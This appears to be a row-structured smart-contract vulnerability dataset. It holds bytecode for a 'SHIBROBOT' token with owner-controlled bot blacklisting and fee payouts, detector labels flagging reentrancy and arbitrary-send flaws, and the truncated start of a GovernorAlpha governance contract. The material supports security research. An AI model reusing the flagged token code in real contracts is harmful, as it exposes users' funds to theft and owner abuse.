6009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f53484942524f424f5420f09f9095000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220471c6dbad7549d38d34eb5728176fb377ed0359401bbf68eedd2e57a80d5f26b64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,867
0xa7ef6a3488dc3eb5670c3abc986f1f30478dfaef
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; /// @notice Based on Compound Governance. contract GovernorAlpha { /// @notice The name of this contract string public name; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed uint public quorumVotes; /// @notice The number of votes required in order for a voter to become a proposer uint public proposalThreshold; /// @notice The duration of voting on a proposal, in blocks uint public votingPeriod; /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @notice The address of the Governance Timelock TimelockInterface public timelock; /// @notice The address of the Governance token CompInterface public token; /// @notice The address of the Governance Guardian address public guardian; /// @notice The total number of proposals uint public proposalCount; /// @notice Internally tracks clone deployment under eip-1167 proxy pattern bool private initialized; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); function init(address _timelock, address _token, address _guardian, string calldata _name, uint _quorumVotes, uint _proposalThreshold, uint _votingPeriod) external { require(!initialized, "initialized"); timelock = TimelockInterface(_timelock); token = CompInterface(_token); guardian = _guardian; name = _name; quorumVotes = _quorumVotes; proposalThreshold = _proposalThreshold; votingPeriod = _votingPeriod; initialized = true; } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(token.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold, "GovernorAlpha::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endBlock = add256(startBlock, votingPeriod); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == guardian || token.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold, "GovernorAlpha::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if 